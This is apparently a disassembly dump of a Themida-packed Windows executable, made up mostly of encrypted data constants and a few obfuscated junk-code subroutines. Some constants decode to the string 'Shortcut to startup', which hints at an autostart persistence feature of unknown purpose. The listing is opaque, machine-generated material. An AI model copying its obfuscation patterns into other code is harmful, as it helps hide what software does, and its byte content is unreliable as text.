		dd 0D3FF0612h, 0CD80585Bh, 0FB8B66EDh, 6AC08Bh,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0E84259C3h, 0A27C082Fh, 0DE61C3C8h, 0D4D4712Ah, 1DC4B46h
		dd 0D4C8557Fh, 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah
		dd 338805D6h, 0FFB44E60h, 0F867A5E4h, 0A0883B76h, 0D612A3BEh
		dd 79672020h, 0DB71A3BAh, 0D71B2023h, 33881736h, 831D2933h
		dd 0C0982633h, 0B3D70EB6h, 0D6157635h, 0AF8D6929h, 3D0DD963h
		dd 839E363Ch, 35982664h, 1F152359h, 4B8D6919h, 0BC1DAB63h
		dd 39E337Ch, 0A199B3CCh, 14932023h, 6AA1A23Ch, 0B0152633h
		dd 9C8D6919h, 4DAACE63h, 0F6D82633h, 1CA8A3BEh,	24C82026h
		dd 0C1D70CB6h, 0FF677635h, 33882462h, 1794E2B0h, 58D70CB6h
		dd 23157635h, 558D6929h, 400DD963h, 3D9E363Ch, 6A982651h
		dd 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh,	0D3DF6633h
		dd 2C97260Ch, 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h
		dd 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h,	0D49BCF33h
		dd 896F2633h, 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh
		dd 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h
		dd 9C8D692Bh, 1DD5ABBEh, 93202026h, 78000000h, 271E7FCh
		dd 0C8D00731h, 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 615504Dh
		dd 506C8D8Dh, 0CF2B0615h, 8B05E983h, 365820C8h
		dd 3631C854h, 6B121001h, 5ABB55C2h, 72B30025h, 36270625h
		dd 63770101h, 888D63C2h, 457859B1h, 5CEAAC67h, 35DA4701h
		dd 16320801h, 0BF6DC75Eh, 0B736267Dh, 2F362545h, 71328001h
		dd 2CCE8356h, 49EE26ADh, 24EB8D8Ah, 0DF520E11h,	36320412h
		dd 28F17564h, 43602BC1h, 75F74FE8h, 635A0176h, 3953E03Ah
		dd 3632168Eh, 87878301h, 57341408h, 0B23D06A9h,	36320385h
		dd 0DE65806Bh, 36324002h, 69F17F21h, 32166C88h,	32164C80h
		dd 3632041Dh, 0E6F15546h, 0E0C6C7EFh, 0FC92E65h, 3AE5C167h
		dd 278FA34Fh, 3634002Ch, 36008C0Eh, 7FDB0401h, 5C320203h
		dd 35DA5701h, 16328001h, 0BF6C835Fh, 0B7360475h, 2E363445h
		dd 70320801h, 5DEC757h,	0DF5F1704h, 36320109h, 72662A64h
		dd 987C9AB1h, 60607051h, 363203E8h, 37A21E01h, 19F5ECABh
		dd 52A85590h, 6E2E2A33h, 0B9435241h, 0DF034F5Eh, 3632200Fh
		dd 0F1A411C5h, 0F06CB0BCh, 35439A65h, 6E68DBEBh, 5C160588h
		dd 35DAD101h, 16324001h, 0BF6BE358h, 0B736344Dh, 2B362C45h
		dd 77320401h, 0E1F4C150h, 0BE651E86h, 49880FC6h, 127E410Eh
		dd 0FB8846FFh, 0E5B9488Ah, 391EC882h, 36320687h, 0BDF3B501h
		dd 34BF0E09h, 0BD328001h, 7EB926F0h, 66324AFDh,	363213E9h
		dd 0F56A2801h, 12768D59h, 12768305h, 36321605h,	0F562C001h
		dd 74FD9012h, 363232E8h, 3C153F01h, 0EF0FE89Ah,	5F149B38h
		dd 534E8349h, 505A9FBCh, 0C904B980h, 36CBC40Eh,	0B3BB2001h
		dd 302216BCh, 5C3BC982h, 35DA5601h, 16320201h, 0BF68C25Bh
		dd 0B736A455h, 2D366445h, 74322001h, 7AC5D353h,	6A5C6C97h
		dd 4C897A14h, 0B662A8FBh, 0B33DE838h, 36328121h, 0DE63406Bh
		dd 36322002h, 6FF14921h, 32164488h, 32164080h, 36320214h
		dd 51F15040h, 83BBE018h, 30224EE8h, 3622AD0Eh, 3CDA1001h
		dd 8D320801h, 0CCAE68D0h, 68B19C27h, 0BD535E3Eh, 22DA8140h
		dd 6A324001h, 33E487A5h, 0BCFE11DBh, 3F4E8D40h,	87C81D68h
		dd 0BD645C09h, 2636E494h, 0FE31DE07h, 150FF502h, 0F7B12611h
		dd 65327A04h, 36320BE9h, 0F5692401h, 126E8B5Ah,	12768005h
		dd 36329B05h, 0F5610301h, 0CD92301h, 0B72C02F4h, 1C07B58Ah
		dd 0FB30211h, 0BD714991h, 36B0840Eh, 36588001h,	3631A853h
		dd 6C122001h, 62BB4AC2h, 72B30C25h, 362B0025h, 64700201h
		dd 48AE51C2h, 0BB56CA4Fh, 267CC58Ch, 63324A07h,	363213E9h
		dd 0F56F2801h, 125E8D5Ch, 12768305h, 36321B05h,	0F567C501h
		dd 9173DC68h, 0B7BC72ACh, 5D7EAFCEh, 3631B004h,	89540401h
		dd 0D7CD5F76h, 0DE61016Bh, 36328002h, 6DF11B21h, 32167C88h
		dd 32165480h, 3632081Ah, 0FEF15742h, 3D909361h,	50C003F1h
		dd 529F5680h, 66322A60h, 363223E9h, 0F56A3001h,	12768159h
		dd 12768505h, 36321405h, 0F5624101h, 0DF4E4BE9h, 3632400Dh
		dd 0F74D3EC9h, 38944C70h, 0DF86202Ah, 665CB98Ch, 0BBBF0414h
		dd 302752B8h, 0A4B1F4B9h, 83B77300h, 1D343008h,	365820CEh
		dd 3631C854h, 6B121001h, 5ABB55C2h, 72B30025h, 36270625h
		dd 63770101h, 0F305E983h, 6AC08BA4h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0DFF4C350h
		dd 73944E60h, 0D45BD89h, 10E90610h, 0D7000000h,	0CC8DCC32h
		dd 0E46AFD56h, 5BDE29FCh, 8BB20E8Fh, 6E8C3h, 0BFF0000h
		dd 141B547Fh, 4D08B866h, 0C88B665Ah, 5D3AC281h,	0DFBB0000h
		dd 0BE40E1E3h, 793B6C15h, 0AB0EC681h, 8D3386C4h, 6102E59h
		dd 9D2B3A8Bh, 6100089h,	0B338F781h, 7CB41FD8h, 8E6FC781h
		dd 0B5502CB8h, 0C7815B4Dh, 5F9F1731h, 89C2BF0Fh, 0DE83Ah
		dd 95990000h, 93BF31DAh, 0CAB4F3B0h, 0E9704D50h, 5, 0C04B6BB8h
		dd 0EA8358D1h, 1EE8304h, 22850Fh, 8E0F0000h, 6,	6CD8589h
		dd 29E90610h, 6B000000h, 0D49E51DFh, 1C0D7F7Ah,	0F8AE635Ah
		dd 0FDA5390h, 0FFFF8BE9h, 2F76EAFFh, 5BEAD596h,	8B9E9E3Bh
		dd 2113D4BDh
dword_5A0934	dd 0EB3DEA7Fh, 55D98D8Dh, 8D0F0615h, 6,	0BCDBD29h, 8D890610h
					; DATA XREF: Themida_:0054E52Co
		dd 61009F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	96C35343h, 9D09A112h, 6100D51h,	231985C7h, 5D6C0610h
		dd 8B660000h, 0C185C7FAh, 61022h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 6F0FC357h, 95012BEEh, 61030C1h, 0B9BB6653h, 9D8B5E13h
		dd 6101CD5h, 0BB9B5FFh,	6A0610h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 12E86AC3h, 0E1000000h
		dd 73436134h, 4A9630Bh,	3ED375DCh, 0CEB52643h, 0AE95E86h
		dd 57000000h, 0EF78152Eh, 9F05DD2Eh, 0B995FF12h, 6A06102Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 3FBFC353h, 0B49C66C3h, 0D8B6A48Dh, 58F0F50h
		dd 0BE000000h, 7FBA10E3h, 0FF006A58h, 1031C995h, 0EBC08B06h
		dd 0DA5B6B4Fh, 1AFAE887h, 37D3DCBAh, 0E28CCAE8h, 0B4D94EDFh
		dd 435DF728h, 0F3FF290Fh, 601325D5h, 0B955F672h, 281B98DCh
		dd 0C641AD04h, 0C1BAF195h, 5BA420E6h, 6976CC2Dh, 278C05F8h
		dd 46339701h, 0BE8EC570h, 0CD1DC0A7h, 0AF92EF8Ch, 0D7A9D423h
		dd 12E8h, 538C5100h, 760F6A56h,	160DA97Ah, 361E4195h, 5F8B2053h
		dd 68C0Fh, 8D2B0000h, 61022A1h,	701FC781h, 66530000h, 0C2EAC981h
		dd 0FC9CBB5Ah, 0F3817B9Ah, 7B9AE749h, 8B02DD80h, 618D8B07h
		dd 8106100Ch, 1EE367E8h, 0BD8B6021h, 61008D1h, 7E960h
		dd 64BB0000h, 4693B53Dh, 15858950h, 61061007h, 8DC08161h
		dd 8B40E583h, 102DA5B5h, 0C5C08106h, 0F12E505h,	1F80h
		dd 81666000h, 0E974DAC7h, 13h, 43B0C371h, 0C2E1C3B0h, 0D6EEA0EEh
		dd 0B232D5AEh, 61B86B47h, 12E90789h, 96000000h,	1EF392CBh
		dd 63B314B0h, 3C4A391h,	47A1E90Fh, 4EF8310h, 2A318D8Bh
		dd 0EB810610h, 1, 0FF71850Fh, 8D8BFFFFh, 61013FDh, 57AC8D8Dh
		dd 0B52B0615h, 6102179h, 9F58D89h, 0F98A0610h, 231985C7h
		dd 6DC80610h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 32B6EEC3h, 85C7C68Bh, 61022C1h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5A0BBF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A0BBF	proc near		; CODE XREF: Themida_:005A0BB7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp

locret_5A0BCE:				; CODE XREF: Themida_:005A0BD1j
		retn
sub_5A0BBF	endp

; ---------------------------------------------------------------------------
		jmp	short loc_5A0BD3
; ---------------------------------------------------------------------------
		jmp	short locret_5A0BCE
; ---------------------------------------------------------------------------


loc_5A0BD3:				; CODE XREF: Themida_:005A0BCFj
		inc	esp
		jmp	near ptr 0B65977F1h
; ---------------------------------------------------------------------------
		push	ecx
		pop	ds
		adc	[esi], al
		push	0
		push	edi
		call	sub_5A0BE8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A0BE8	proc near		; CODE XREF: Themida_:005A0BE0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5A0BE8	endp

; ---------------------------------------------------------------------------
		dd 56502D57h, 0B995FFD9h, 0E906102Dh, 8, 0E6A64452h, 9342B20Fh
		dd 95FF006Ah, 61031C9h,	4EEBC08Bh, 2D71B35h, 0FD53499Fh
		dd 8962C745h, 0CD1A7F11h, 0F6FE36D3h, 711F11A9h, 0B40F18D2h
		dd 60A957F6h, 0E382E5A8h, 97E67E04h, 8F330EBEh,	0FAEC5DD6h
		dd 28C1A416h, 0D00D6B7Ah, 0CBFB1039h, 2FD59D81h, 247733Fh
		dd 39CB53AFh, 0AD90C09h, 12E89F1Dh, 32000000h, 433CD04Ah
		dd 67B3D85Ch, 0ACC4AED7h, 9C688288h, 0D9853116h, 5F061013h
		dd 1DBD9D33h, 0C7810610h, 5BFBh, 21A59D89h, 680610h, 58000000h
		dd 0FFF1B70Fh, 0DF8B3834h, 9D8B5359h, 6102FA9h,	68C1815Bh
		dd 811E27E7h, 58672FCBh, 2CE98176h, 0F34605Dh, 683h, 19958B00h
		dd 8106100Bh, 0AFA09DE9h, 41BD8959h, 5106100Ah,	46EE8153h
		dd 5B1323C9h, 6607048Fh, 0E973D9BAh, 6,	0CF565E08h, 0E881A368h
		dd 4A7EA90h, 15618589h,	0C0810610h, 4A7EA8Ch, 86BB6652h
		dd 0F8815A30h, 0FFFFA4C0h, 0FF89850Fh, 0FE9FFFFh, 0A5000000h
		dd 0D05BC954h, 15666A67h, 0E6ECE940h, 8D8DA8A5h, 61559C4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 3AC35646h
		dd 6E6FF76h, 0C681EFE6h, 5195081Fh, 9F58D89h, 8B660610h
		dd 1985C7D6h, 98061023h, 6A000070h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0B624C356h
		dd 0F89CCA58h, 0E9B4727Eh, 0Dh,	14978CD5h, 0A2A64858h
		dd 19C295Ah, 0E985013Eh, 0C7061032h, 1022C185h,	6, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 41726D56h, 0FF500EDDh, 101F51B5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B52388C7h
		dd 610329Dh, 2DB995FFh,	6A0610h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 85891EC3h, 6101705h
		dd 95FF006Ah, 61031C9h,	4EEBC08Bh, 0EFE4BBD2h, 1C609D1Ah
		dd 0F0B87F7Fh, 15DF0FC9h, 0C28017BFh, 0F442AD17h, 0A99F2272h
		dd 8B9B9378h, 9B3FC7F8h, 1B200387h, 0D17C6D10h,	7DA828AFh
		dd 0F3C1F14Ah, 44EEBEF7h, 181ECB32h, 907F678Bh,	6B750430h
		dd 11FE1D6h, 0C8B9595Fh, 20E94D80h, 64000000h, 26907Fh
		dd 6 dup(0)
		dd 0E9000000h, 4EEh, 4AFE41F1h,	6ADE15CBh, 41FD36EBh, 64D815BAh
		dd 38F433D5h, 20C43652h, 3BEE6DE1h, 13B73EFAh, 2ED564D8h
		dd 764A45F9h, 0D9260FB3h, 420AE76Bh, 50447932h,	74F9739h
		dd 27B34C6Dh, 8A11CDA9h, 0B1B9A3E1h, 253B43A6h,	0DCC8FDA6h
		dd 11887C58h, 0C67C2F5Ah, 1E6DCCE2h, 8D4C1E42h,	70F4A0D7h
		dd 0DD12B9h, 0B4E187FEh, 0CCE24DF5h, 0ECDA96Dh,	4E421E57h
		dd 44ED841Bh, 9B9709Bh,	266DCCE2h, 0D4504481h, 0C304A51Ch
		dd 5D6F53CFh, 0CCE214AEh, 5074F06Dh, 903702DCh,	0CCBA75Bh
		dd 0EE721E53h, 71AC62D9h, 388A815Fh, 0DC6DCCE2h, 9F36B80h
		dd 0AF639A52h, 691D96B3h, 16E8422Eh, 0CCE2AF13h, 0FEEB476Dh
		dd 33B91FA2h, 83502D03h, 0E3F5A1E2h, 0BA70B150h, 934CCB7Fh
		dd 0B7728C5Eh, 6DCC200Bh, 0AC5A6FEBh, 0CC2040FDh, 59F8C76Dh
		dd 3307BE7Dh, 5D7A568Dh, 6ADA579Ah, 593733h, 32950000h
		dd 542A4479h, 0CC7CED55h, 518C426Dh, 4C812AA1h,	0C4FBB128h
		dd 877754D0h, 0CC7C60E0h, 7B1AA96Dh, 6B36337Eh,	11333h
		dd 0D7790000h, 7C4002A9h, 0C8A46DCCh, 498028B3h, 0E0624937h
		dd 46DCC7Ch, 34535328h,	2AA1558Ch, 215C4885h, 8A42E382h
		dd 0A760D753h, 3230B672h, 0E062497Eh, 46DCC7Ch,	0C5A1D68Dh
		dd 2ED6F5A1h, 0B256E5F7h, 0C6A37F73h, 41E083D8h, 62E42CE0h
		dd 0A643FD6Bh, 0CBC67C2Fh, 421E6DCCh, 0F86421Eh, 0A5E48858h
		dd 2AE56CF1h, 0F04F7872h, 77B055D4h, 0D7CBA78Bh, 0F82DD665h
		dd 78B158E3h, 1C5B0D8Ch, 80BF7168h, 0DA4B794h, 69DD6BFh
		dd 0F4FF5C4h, 0B905ECBh, 607D5960h, 6AA46697h, 7A4633h
		dd 26380000h, 0C4B3F093h, 6DCCFA7Eh, 0E7BD9A96h, 206104D7h
		dd 60DBF074h, 22B96DACh, 0F54D3C6Bh, 4A6DCC7Ch,	0B6B26AA3h
		dd 0ECD3E69Ah, 45EA7155h, 43181C08h, 1995D478h,	0C3AFEEA2h
		dd 2EE21FC4h, 32B74E65h, 336B33EFh, 50CFh, 96D73D00h, 6A1BD4A6h
		dd 8FD14429h, 57F9C297h, 47126C18h, 0B6BA66A5h,	361348FFh
		dd 0E28EC97Dh, 98993807h, 76CCBFF4h, 8E6DCC8Dh,	6CFAAE92h
		dd 4F437A32h, 0CC7CBF08h, 0A03F806Dh, 6B356C45h, 0AC5DDC33h
		dd 0FEE217D0h, 97390E12h, 1, 427B32F5h,	5B90374Eh, 0EF863DA7h
		dd 0F2669F46h, 7B55868Dh, 0ABF2AC52h, 81565C0Eh, 694FAC5Fh
		dd 3B3767FCh, 62975047h, 83B86FE6h, 1878C88Fh, 1AD1943Ch
		dd 4C3F31E5h, 943C18F6h, 0F193120Eh, 54EBBEB2h,	0E3BC0FBDh
		dd 93EE54Ch, 0A02209F7h, 44943C18h, 0CC4B13E8h,	3832DE13h
		dd 18DF6326h, 3B37943Ch, 1EEE951Eh, 0DF432F66h,	0D4780F03h
		dd 45EAE195h, 897DBA6Dh, 0E2DDC9ADh, 691EA241h,	411FBB5Ah
		dd 3C18F84Ah, 2B401C94h, 0A8C2F7B0h, 0FCA48031h, 7155D1C5h
		dd 0D617E25Ch, 0B6397AD1h, 0F0h, 0E9EEA3C8h, 0DD45826Dh
		dd 9ECB5899h, 7653AB11h, 1EBD5CAEh, 266C5D4Ch, 37A67FCh
		dd 0F67A265Dh, 0F8AF26DAh, 0D79007C3h, 30D7EEA2h, 315207FBh
		dd 0B7EC9392h, 44471903h, 9423AAFEh, 3A3D1A16h,	397B5F77h
		dd 4757h, 0C15CB500h, 9B1E401Ah, 0D5CEABE8h, 0EDCC7C4Dh
		dd 52190D69h, 0EDCC7CF0h, 0C8871EDDh, 0AAD4A635h, 0CC7C43FFh
		dd 10C7A3EDh, 0F26E2257h, 9A0803D5h, 3A6DCC7Ch,	9A4D0CDEh
		dd 0E4B6805Dh, 8C78AF55h, 6116D3A8h, 66000000h,	4C1EBD5Ch
		dd 0FC0C3C5Dh, 7C4ECA67h, 70BCEB4Fh, 0C2797FEBh, 0CFACF0Eh
		dd 2DA1D68Dh, 0D4C0F5AEh, 238D3A85h, 0F3923194h, 88447932h
		dd 2D3F9C3Bh, 205EAD40h, 363F2C6Dh, 555426DDh, 942333EDh
		dd 28502D09h, 1699A981h, 35E13D9Eh, 0CCB8ED96h,	0D38827DAh
		dd 0C6C59744h, 94202314h, 72F8B4B0h, 0C4EE96D7h, 610EFF65h
		dd 1DAF98Ch, 0A24A11EFh, 644AF362h, 0DF03BB5Dh,	0CBC9210Ah
		dd 15D67F9h, 98CD7615h,	0B9EE9524h, 0DF409ECDh,	0AAF9F5A3h
		dd 0B1812A0Bh, 5F03C2FDh, 0D8C4024h, 56752156h,	168074B1h
		dd 0A65DC45Bh, 853EBD71h, 0FCAA450h, 0DE64275Eh, 36B4A9DFh
		dd 8841163Ah, 3, 326D5FF4h, 52493D80h, 19B06499h, 4F463A75h
		dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
		dd 0CF554178h, 81E68956h, 4C6h,	4BA5200h, 29000000h, 34875AD6h
		dd 5A685C24h, 89000061h, 9C68243Ch, 89000049h, 4E682434h
		dd 89000030h, 41B9240Ch, 8906155Ah, 0B06859CFh,	89000022h
		dd 4832424h, 815E0424h,	4ECh, 243C8900h, 0FF08468Fh, 815E2434h
		dd 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFFB2144h, 7F3B5A04h
		dd 0C1B8DA04h, 306155Eh, 60E0FFC5h, 2D594E55h, 734F8E74h
		dd 0E9734AD3h, 13h, 265B9BEFh, 3 dup(0)
		dd 0E9000000h, 528h, 6ADE21D1h,	4AFE35EBh, 61DD16CBh, 44F835DAh
		dd 58D413B5h, 40E41672h, 1BCE4D01h, 33D75EDAh, 0EB544F8h
		dd 966A65D9h, 0D9232F93h, 62EAC76Bh, 50447932h,	0E4589739h
		dd 8D79AE55h, 4417550Eh, 0EDFB1BB3h, 2B183D58h,	0CE1B8E3Eh
		dd 0E187FEF2h, 0DCC3F6AAh, 0EE23DC45h, 0BB0702DCh, 5B6DCC39h
		dd 0E574EAFFh, 0C3520641h, 60A6491Fh, 69685AF3h, 27DBF7E6h
		dd 5C7B274Bh, 2ABC68A9h, 0A8DF8554h, 51457A31h,	8C23F8D5h
		dd 0A2D98F4Ah, 0F4936BB5h, 0A6C3379Dh, 8A3E792Dh, 6BDEBBB0h
		dd 0EBA9797Dh, 699E450Eh, 9651EEBDh, 0E5D66DCCh, 16CD8C4Eh
		dd 0BA130CE1h, 2A336A4Bh, 0ABC0FBAFh, 0AF45h, 4D78700h
		dd 8D46235Eh, 0A6F5A1D6h, 6DCC7C1Eh, 0C501A01Fh, 601451F6h
		dd 63A44504h, 0E196B3AFh, 336B3610h, 1F0h, 7A325A00h, 7CE45E4Dh
		dd 24006DCCh, 7CE35F4Ah, 27036DCCh, 56E5574Bh, 0C15E6BB1h
		dd 4AF316FDh, 0E1F67A26h, 617BB25Ah, 0C02B936Ch, 0F2079459h
		dd 0B5F29534h, 3069209Bh, 0B36C6B1Bh, 4DF3927Eh, 4F066A16h
		dd 0A8AF6398h, 2F4B7817h, 0EF6D2C0Ah, 203CCFF3h, 9DBAF599h
		dd 6BE67FEh, 0ABB9BFC6h, 0CCB64200h, 0A1C6A26Dh, 94B0A2B4h
		dd 1AEAA118h, 0AAEB9E74h, 4C2EAAC6h, 9CE3B71Fh,	600CFB4Fh
		dd 90D7046Fh, 31FBD00Fh, 533F7E32h, 0A1558C34h,	0F938D7ECh
		dd 8DCA7D57h, 5B99D99h,	0EC98CD76h, 13FF38EDh, 50F8CE74h
		dd 0ED096D19h, 0B3EAA239h, 5AF98ABFh, 5FF68D76h, 0D70CC07Bh
		dd 0CC7C6ED4h, 0C6AA866Dh, 3433EEB1h, 6D13336Bh, 79000000h
		dd 533F7E32h, 0A0548D34h, 0BB1FB60Dh, 0DB9C092h, 9E2E1B5Ch
		dd 32A9BE4Eh, 0C8B3F7Eh, 6471958h, 34C1239Ah, 6B1B308Fh
		dd 867AB76Ch, 0EA0FA6DDh, 336A5C37h, 4A17h, 7E327500h
		dd 58532D3Fh, 6DCC7CEAh, 4D390E0Ah, 0A95D984Eh,	58412A56h
		dd 3B15FB32h, 0F68D2E4Bh, 8A3E7D2Fh, 67DBCEB0h,	0B86DCCFAh
		dd 4521D514h, 30FCD14Dh, 4F437A32h, 0CC7CBF08h,	0A03F806Dh
		dd 6B356C45h, 14C33h, 32BE0000h, 374E427Bh, 0D207C090h
		dd 721E421Eh, 9832D160h, 0B61C85C6h, 0CE488E37h, 0CC0C9B27h
		dd 289F7B6Dh, 0A62D4A7Fh, 0AD12C6FFh, 0F09BB526h, 67FC760Bh
		dd 8E4D1FFBh, 51AE9BDAh, 0FDEF0AD6h, 23A26479h,	0B3793E7Ch
		dd 2B122CE2h, 2E7C781h,	0BD99A8CFh, 9CD17A01h, 0BF03C1E8h
		dd 5F40943Ch, 8C3306C0h, 0B2C7AB57h, 914D8229h,	782C610Ah
		dd 8175AA61h, 1918B7CCh, 0BE813D72h, 397A72F3h,	140D3h
		dd 0BD5C3900h, 6C5D4C1Eh, 7A67FC26h, 0C178F29Eh, 3BF8D50Ah
		dd 5CDB4F84h, 3826EA3h,	1E7B275Ch, 0DD65243Ah, 399423AAh
		dd 0E47B203Dh, 0B96BE9E2h, 2AD136ECh, 0A8DD864Dh, 0F3A86934h
		dd 5288397Bh, 0B6000000h, 4A61E1C8h, 0A9859423h, 0C15CF8D4h
		dd 9B1E401Ah, 7BF7ABE8h, 7C3DA55Eh, 0C2D9EDCCh,	431FD30Ah
		dd 9E24731Fh, 3FEDCC7Ch, 4F6AE180h, 2BB7728Ch, 0CB6DCC7Ch
		dd 0C26ADB4Fh, 96000000h, 3FF168h, 0CC7CA919h, 0C2802B6Dh
		dd 226DCC7Ch, 0FDDA5646h, 15BD5C27h, 6E14324Bh,	0FCCEF2A9h
		dd 0FC176C0Dh, 0E5D3F867h, 397972D5h, 0E0D288DAh, 9A453FBh
		dd 3E322EF4h, 0EE6DFFECh, 4BBB11F2h, 0C499D88Ch, 9F1B50F7h
		dd 463A6F18h, 3C43A41Fh, 6D049B94h, 72E61BC4h, 0FBD5060Dh
		dd 0B210FBE5h, 52943C41h, 5D498A3Bh, 23E0FDD9h,	9E09E6C2h
		dd 32691F9Ah, 907D93Eh,	6AFEFE58h, 0DB57486h, 0E99E1665h
		dd 0AEAA708Dh, 0E71CC3C2h, 7B1AA93Bh, 0F406D5E4h, 8D35F40Ah
		dd 699E1665h, 0D233F00Dh, 8A9423C2h, 35E11ACFh,	0A661C31h
		dd 8BC469F0h, 0F8BE9B97h, 2AF52526h, 49DB845Eh,	72876BA4h
		dd 1EBD5CDAh, 0DBB85D4Ch, 0EA4667F9h, 18E89F36h, 9D113574h
		dd 4430651Eh, 55DAF415h, 0DE15CBF4h, 0B4EF9332h, 0BF56EDC0h
		dd 0E195D076h, 0F5CE6185h, 0FB30D75Eh, 0DA0FB83Fh, 7EF3CB00h
		dd 1BF6360h, 79403AECh,	0D8218FD7h, 39E92736h, 0F00D691Dh
		dd 8F83C063h, 4ED76E05h, 708E6095h, 572709B9h, 5C71EDB4h
		dd 77AC53E2h, 221A8Bh, 93260000h, 67CBB7ECh, 9DEFBE82h
		dd 0B7941BD0h, 3F215FEDh, 9E31B50Eh, 8574AFF4h,	6DCC6E3Dh
		dd 0A4805DD9h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh
		dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h
		dd 5B5453CFh, 4C381h, 0EB830000h, 241C8704h, 0E689565Ch
		dd 4C681h, 0EE810000h, 4, 5C243487h, 68243489h,	109Ch
		dd 83243C89h, 48904ECh,	7321B824h, 40BE6AA9h, 19B6BECh
		dd 8B5458C6h, 0C483243Ch, 4EC8304h, 8F243489h, 3C8B0847h
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch
		dd 4C4815Eh, 0E9000000h, 0FFFB1BE8h, 867EA415h,	156412B8h
		dd 0FFC50306h, 5A8165E0h, 8B004860h, 873C2D0Fh,	702B8B5Ch
		dd 0B0E974h, 66600000h,	0C2F6DA8Ch, 0C850F04h, 3B000000h
		dd 10149985h, 36840F06h, 3B000000h, 1020E585h, 2A840F06h
		dd 3B000000h, 102E6185h, 1E840F06h, 3B000000h, 100F7985h
		dd 12840F06h, 83000000h, 101C95BDh, 840F0106h, 5, 5FE9h
		dd 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h
		dd 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h
		dd 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h
		dd 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 104E859Dh,	5B806h
		dd 0E3FF0000h, 0D00BC361h, 0CE8h, 92720400h, 309C82F4h
		dd 5E02E430h, 0DBD8BA8h, 5B06101Ch, 9AC381F9h, 8B000069h
		dd 101AE1B5h, 89C03306h, 1009C9BDh, 1834FF06h, 1BD58D31h
		dd 0BE5A0610h, 58F4F8B9h, 0E6E7C281h, 59571BBDh, 0DD53F281h
		dd 9D015474h, 61013ADh,	1143EA81h, 958905D3h, 610003Dh
		dd 89031489h, 1029799Dh, 0C8B96606h, 3E883BFh, 8B485E50h
		dd 1007D1BDh, 24F88106h, 0FFFFF97h, 2985h, 10E900h, 55A00000h
		dd 0E79DF83h, 0CAF31EF4h, 26E344A5h, 2CE9A955h,	9F000000h
		dd 4C2A5271h, 7B33BADBh, 3CD4881Eh, 0BD239667h,	6100FB9h
		dd 0FFFF78E9h, 0FDA8A8FFh, 31CF959Ch, 76BE4F1Ah, 0C2FCE75Bh
		dd 0E935F4BBh, 76h, 3D163F38h, 726F6853h, 74756374h, 206F7420h
		dd 72617473h, 707574h, 17h dup(0)
		dd 0ADE90000h, 6800000Eh, 6156834h, 0FBE443E9h,	690B68FFh
		dd 39E90615h, 68FFFBE4h, 6156AD1h, 0FBE42FE9h, 6B1F68FFh
		dd 25E90615h, 68FFFBE4h, 6156BF9h, 0FBE41BE9h, 6C6E68FFh
		dd 11E90615h, 68FFFBE4h, 6157067h, 0FBE407E9h, 72CE68FFh
		dd 0FDE90615h, 68FFFBE3h, 61573DBh, 0FBE3F3E9h,	0BB6D62FFh
		dd 7C117E6h, 0C0726B5Ah, 782A2293h, 0CE88DA2Bh,	40C3B381h
		dd 0B203500Ah, 3DB0E59Fh, 0BB0A5709h, 43A1EEA8h, 0AB3443B0h
		dd 0C7211DDDh, 0AA075CD3h, 0C8453A5Dh, 3BC81B17h, 17C8451Ch
		dd 4D194D39h, 73E89976h, 943BF5EBh, 0D118ABE6h,	0E78C6EA5h
		dd 184CD228h, 0DEED3C57h, 0C46A6F24h, 4884F1C0h, 1289BB96h
		dd 0A1A605D6h, 62780300h, 941DD897h, 943BF5E5h,	7E29ABE6h
		dd 86A41EB6h, 209F4FE5h, 0B875C0D3h, 5A00F11h, 9382A72Dh
		dd 4096BEh, 48EA0000h, 0D690C11Ah, 68570BB7h, 0F458FC17h
		dd 7E41C25h, 0C7731AD4h, 0F3F5D29Bh, 841DD8B5h,	87AEF998h
		dd 4811B8B4h, 0D423E099h, 0B8B50827h, 54A14D11h, 7C2647F9h
